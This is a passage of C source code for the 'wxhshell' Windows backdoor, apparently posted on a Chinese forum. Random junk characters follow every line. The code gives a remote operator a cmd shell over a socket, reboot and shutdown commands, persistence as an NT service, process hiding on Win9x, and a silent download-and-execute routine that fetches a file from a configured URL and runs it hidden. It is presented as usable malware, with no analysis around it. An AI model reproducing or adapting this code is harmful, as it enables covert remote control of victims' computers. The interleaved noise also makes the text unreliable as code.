    switch(cmd[0]) { x *a_43`  
  11%Zx3  
  // 帮助 }:S}jo7  
  case '?': { ;B !p4 hu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %{jL+4veoL  
    break; Z>~7|vl  
  } <Ira~N  
  // 安装 Z&n#*rQ7[  
  case 'i': { |Y v,zEY)  
    if(Install()) l=L(pS3 ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Vs+8/  
    else e?N3&ezp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z4g<Ys*  
    break; xwj{4fzpk{  
    }  `)>}b 3  
  // 卸载 $h[Q }uW  
  case 'r': { iI;np+uYk  
    if(Uninstall()) hW`o-'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _p?s[r*  
    else ,BR W=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wScr:o+K>L  
    break; wEw;],ur  
    } yH9&HFDp  
  // 显示 wxhshell 所在路径 e-nwR  
  case 'p': { ikO9p|J  
    char svExeFile[MAX_PATH]; @k\,XV`T~t  
    strcpy(svExeFile,"\n\r"); wRZS+^hx  
      strcat(svExeFile,ExeFile); ^a$L9p(  
        send(wsh,svExeFile,strlen(svExeFile),0); 6Ilj7m*  
    break; 4wWfaL5"  
    } u4'B  
  // 重启 eIOMW9Ivt  
  case 'b': { 2cwJ);Eg2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xIH= gK  
    if(Boot(REBOOT)) 5=b6B=\*~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "bz.nE*  
    else { 03_M+lv  
    closesocket(wsh); AW'$5 NF>  
    ExitThread(0); Gzwb<e y  
    } Lt i2KY}/%  
    break; {Es1bO  
    } >U(E \`9D  
  // 关机 {;O j  
  case 'd': { 9m<%+ S5&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u>:j$@56  
    if(Boot(SHUTDOWN)) +O)ZB$w4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a5&[O  
    else { A-*MH#QUKh  
    closesocket(wsh); ^gkKk&~A5?  
    ExitThread(0); e7tio!  
    } N4b{^JkF  
    break; DR]4Tcz#  
    } E(&zH;?_  
  // 获取shell pD }b$  
  case 's': { TmK8z  
    CmdShell(wsh); ?A04qk  
    closesocket(wsh); )\7Cp-E-W  
    ExitThread(0); h,6> ^A  
    break; SwaMpNXL  
  } or bz`IQc  
  // 退出 JSx[V<7m  
  case 'x': { 7PwH&rI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ocz21gl-?`  
    CloseIt(wsh); D[6wMep^n  
    break; *1T~ruNqa  
    } )<Mo.  
  // 离开 r%>EiHpCU  
  case 'q': { vu&ny&=`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l<'}`  
    closesocket(wsh); $`R=Q  
    WSACleanup(); U[:=7UABU?  
    exit(1); +{}p(9w@  
    break; [&l+Ve(  
        } w2jB6NQX  
  } zy.v[Y1!  
  } .-[]po  
1#8~@CQ ::  
  // 提示信息 ,b?G]WQrHs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :a:m>S<~  
} +n)bWB%  
  } *}_i[6_\E  
jo<Gf 5  
  return; 6/vMK<Fz9  
} !& >LLZ  
'Mhnu2d  
// shell模块句柄 nFe  
int CmdShell(SOCKET sock) yo$A0Ti!w  
{ -y[y.#o  
STARTUPINFO si; "{3MXAFe  
ZeroMemory(&si,sizeof(si)); *~w?@,}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JvaHH!>d/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]mjKF\  
PROCESS_INFORMATION ProcessInfo; EW3--33s  
char cmdline[]="cmd"; / Xv@g$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y)TBg8Q  
  return 0; L`fT;2  
} }WF6w+  
 =vDpm,  
// 自身启动模式 9>ZX@1]m_  
int StartFromService(void) t}MT<Jj  
{ CK_\K,xVT  
typedef struct V343 IT\  
{ 85Kf>z::c  
  DWORD ExitStatus; XhN?E-WywQ  
  DWORD PebBaseAddress; {7q8@`Oa  
  DWORD AffinityMask; r5+ MjR  
  DWORD BasePriority; %o`Cp64`Q  
  ULONG UniqueProcessId; sDu&9+  
  ULONG InheritedFromUniqueProcessId; +vPCr&40  
}   PROCESS_BASIC_INFORMATION; =#wE*6T9  
T+FlN-iy)  
PROCNTQSIP NtQueryInformationProcess; ;!OME*?m<  
V#c=O}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5bsv05=e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i98PlAq)B  
+eop4 |Z  
  HANDLE             hProcess; &ha<pj~  
  PROCESS_BASIC_INFORMATION pbi; 4 XGEw9`3  
pBn;:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P(3$XMx  
  if(NULL == hInst ) return 0; n@S|^cH  
^ ,[gO#hgz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %WYveY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A-eCc#I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =,&{ &m)  
e'=#G$S?g  
  if (!NtQueryInformationProcess) return 0; `qZ@eGZ z  
@v.?z2h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bu{%mm(  
  if(!hProcess) return 0; RhE|0N=  
u N_<G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d ;,C[&  
#jg3Ku;Y  
  CloseHandle(hProcess); -cUw}  
t1G2A`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #rp)Gc  
if(hProcess==NULL) return 0; SK_N|X].  
0,iG9D 7  
HMODULE hMod; ? :F Jc[J  
char procName[255]; SV^[)p )  
unsigned long cbNeeded; P%<MQg|k`  
Ac/LNqIs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P_gai7Xg  
5o0H7k]  
  CloseHandle(hProcess); 18y'#<X!  
|voZ0U  
if(strstr(procName,"services")) return 1; // 以服务启动 lO}I>yo}\  
W=,]#Z+M;  
  return 0; // 注册表启动 QR$m i1Vv\  
} yPH5/5;,  
}q?q)cG  
// 主模块 !{ORFd  
int StartWxhshell(LPSTR lpCmdLine) ={{q_G\WD  
{ 4=|oOIhgb  
  SOCKET wsl; yWi?2   
BOOL val=TRUE; $tK/3  
  int port=0; |]?7r?=J9v  
  struct sockaddr_in door; xDmwiVy  
)=0@4   
  if(wscfg.ws_autoins) Install(); ETfoL.d$(  
kQrby\F(<  
port=atoi(lpCmdLine); cOP%R_ak?  
i^rHZmT  
if(port<=0) port=wscfg.ws_port; `<% w4 E  
mrlhj8W?!  
  WSADATA data; tpP68)<ns  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0rc'SEl  
jfZ)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t<+gyAW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -?ebkHe  
  door.sin_family = AF_INET; @~IZ%lEQsD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BqOMg$<\[  
  door.sin_port = htons(port); {65_k  
YO;@Tj2)x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gyC Xv0*z  
closesocket(wsl); `,FhCT5  
return 1; A.<M*[{q  
} >a: 6umY  
z~;@Mo"*f  
  if(listen(wsl,2) == INVALID_SOCKET) { +@\=v}: F  
closesocket(wsl); IY|>'}UU#  
return 1; t5S!j2E  
} KU_""T  
  Wxhshell(wsl); tCu9 D  
  WSACleanup(); D]K?ntS[*  
59(} D'lw>  
return 0; SFRYX,0m  
=Unu>p}2V  
} ,go$ 6  
VQpwHzh  
// 以NT服务方式启动 Vv>hr+e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zBqNE`  
{ t>"|~T$9  
DWORD   status = 0; .kDJuJ^  
  DWORD   specificError = 0xfffffff; NHzVA*f  
YKa9]Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4o( Q+6m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +qyx3c+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vz)zl2F5sY  
  serviceStatus.dwWin32ExitCode     = 0; ^i17MvT'  
  serviceStatus.dwServiceSpecificExitCode = 0; tSaD=#v  
  serviceStatus.dwCheckPoint       = 0; 1( ]{tF  
  serviceStatus.dwWaitHint       = 0; H(Ad"1~.#  
l D]?9K29  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {)- 3g~  
  if (hServiceStatusHandle==0) return; SdJkno  
t},71Ry  
status = GetLastError(); /ASpAl[J  
  if (status!=NO_ERROR) A*? Qm  
{  Kuh)3/7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p[D,.0SuC  
    serviceStatus.dwCheckPoint       = 0; l/bZE.GJ  
    serviceStatus.dwWaitHint       = 0; m>'#664q1  
    serviceStatus.dwWin32ExitCode     = status; 8*(|uX  
    serviceStatus.dwServiceSpecificExitCode = specificError; oh >0}Gc8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *BQy$dfE  
    return; kJ B u7  
  } _;G|3>5u  
IHe?/oUL"b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *GM.2``e  
  serviceStatus.dwCheckPoint       = 0; ;vgaFc]  
  serviceStatus.dwWaitHint       = 0; \B8[UZA.&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2!}rH w  
} .IORvP-M&  
X1%_a.=VF  
// 处理NT服务事件,比如:启动、停止 eo4v[V&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p 4lB#  
{ HO39>:c  
switch(fdwControl) $eh>.c'&]  
{ @Y+9")?  
case SERVICE_CONTROL_STOP: c nV2}U/\  
  serviceStatus.dwWin32ExitCode = 0; '_o(I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; < #7j~<  
  serviceStatus.dwCheckPoint   = 0; Br"K{g?  
  serviceStatus.dwWaitHint     = 0; 0u ,nSvch  
  { hu-6V="^9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h) W|~y@  
  } J|dj`Z ?  
  return; @86I|cY  
case SERVICE_CONTROL_PAUSE: ef -PlGn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qjLFgsd  
  break; Ert` ]s~  
case SERVICE_CONTROL_CONTINUE: DgC;1U'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nnMRp7LQ-  
  break; ((]Sy,rdk  
case SERVICE_CONTROL_INTERROGATE: &+8cI^ kp  
  break; rNX]tp{j  
}; e>$E67h<~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FeuqqZ\=&  
} <0H^2ekd  
b'G!)n  
// 标准应用程序主函数 6 Y}Bza  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) etH]-S  
{ |&rxDf}W  
(/Dr=D{ `  
// 获取操作系统版本 KoTQc0b!  
OsIsNt=GetOsVer(); -<aN$O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DsGtc<l%  
CWM_J9f  
  // 从命令行安装 7bx!A+, t  
  if(strpbrk(lpCmdLine,"iI")) Install(); %x|0<@b7-  
$jv/00:&  
  // 下载执行文件 xtRHb''FX  
if(wscfg.ws_downexe) { Z66q0wR7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nSh}1Arp/  
  WinExec(wscfg.ws_filenam,SW_HIDE); N(L?F):fT  
} )zq sn  
" IC0v9  
if(!OsIsNt) { <I^Tug\M+  
// 如果时win9x,隐藏进程并且设置为注册表启动 $rmfE  
HideProc(); Y+_t50 S  
StartWxhshell(lpCmdLine); W= $, \D+  
} f#zm}+,`  
else DbvKpM H  
  if(StartFromService()) hIMD2  
  // 以服务方式启动 DsF<P@O6  
  StartServiceCtrlDispatcher(DispatchTable); ffS]%qa  
else Y'2 |GJc2  
  // 普通方式启动 Fs;_z9ej-u  
  StartWxhshell(lpCmdLine);  .'^Pg  
L:RMZp*bK  
return 0; KJN{p~Q  
}
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只看该作者 1 发表于: 2006-10-10
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